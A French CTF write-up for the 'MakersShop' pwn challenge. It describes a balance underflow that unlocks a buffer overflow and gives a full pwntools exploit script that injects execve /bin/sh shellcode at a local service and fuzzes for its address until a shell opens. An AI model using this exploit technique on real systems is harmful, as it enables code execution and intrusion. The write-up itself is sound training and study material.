2 min read

[CTF GEMA] MakersShop

CTF GEMA Groupe 2025

Niveau de Difficulté : Medium

Catégorie du Challenge : Pwn

Description :

Certaines personnes ont réussi à obtenir des drapeaux gratuitement dans notre magasin. Saurez-vous découvrir comment obtenir le vôtre ?

Steps to Solve

Ce writeup ne détaille pas le processus de résolution du challenge étape par étape, mais il présente l'idée générale et la solution finale du challenge.

Lorsque nous exécutons et explorons le programme, nous remarquons que nous avons 4 fonctions à appeler, la quatrième fonction présente un buffer overflow. Pour y accéder, nous devons acheter 7 pièces et pour avoir assez d'argent, nous devons provoquer un underflow du solde en appelant (buy => sell) dans cet ordre. Pour obtenir suffisamment de pièces, nous appelons Buy 7 fois.

L'exploit complet se trouve dans le fichier exploit.py.

Malheureusement, en raison du fait que la pile change d'un système à l'autre et que nous ne sautons pas directement sur esp, nous n'avons pas l'adresse exacte pour notre shellcode, donc nous allons procéder à un style BROP (Blind Return-Oriented Programming). Ainsi, pour exécuter notre exploit, nous ferons un peu de fuzzing pour trouver l'adresse exacte de notre shellcode.

for i in {-10000..10000..20}; do python3 exploit.py $i; done

Exploit.py:

from pwn import *
import codecs
import sys

ELF = "./x64shop"
#p = process(ELF)
p = remote("127.0.0.1", 4444)
context.log_level = "CRITICAL"

# trying different shellcodes
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"  # x64


# hit the target input
shop_input = "1\n" * 5 + "2\n" * 10 + "1\n" * 15 + "4\n"

p.sendline(shop_input.encode() + b"\n")

finput = b"A" * 0x68
finput = b"\x90" * 20 + shellcode + b"\x90" * (0x68 - 20 - len(shellcode))
p.send(finput)
(p.recvuntil(finput))

rbp = int(codecs.encode(p.recv(6)[::-1], "hex"), 16)
# gdb.attach(
#     p,
#     """
#            break *0x0000555555555464
#            """,
# )

# offset 48 hits rbp
# offset 56 hits rsp

if len(sys.argv) > 1:
    add = int(sys.argv[1])
    print("ADD: ", add)
else:
    add = 0

# wtf is 0x2AAAAAAA8991? it's *almost* the difference between the leaked ebp and the esp at the time of overflow :)
# target = rbp + 0x2AAAAAAA8991 - 50
target = rbp + 0x2AAAAAAA8991 + add
shellcode = asm(shellcraft.linux.sh())
print("target addr: ", hex(target))
payload = b"\xCC" * 48 + p64(target) + p64(target)
payload = (
    b"\x90" * (48 - len(shellcode)) + shellcode + p64(target) + p64(target)
)  # repeated because why not
p.send(payload)
p.sendline(b"id")


try:
    r = p.recvline(timeout=0.1)
    r = p.recvline(timeout=0.1)
    r = p.recvline(timeout=0.1)
    if b"uid" in r:
        print("FOUND OFFSET: ", add)
        print(r)
        p.interactive()
except:
    pass

Flag

FLAG{W3lcome_T0_Our_Shop_Pwn3r5}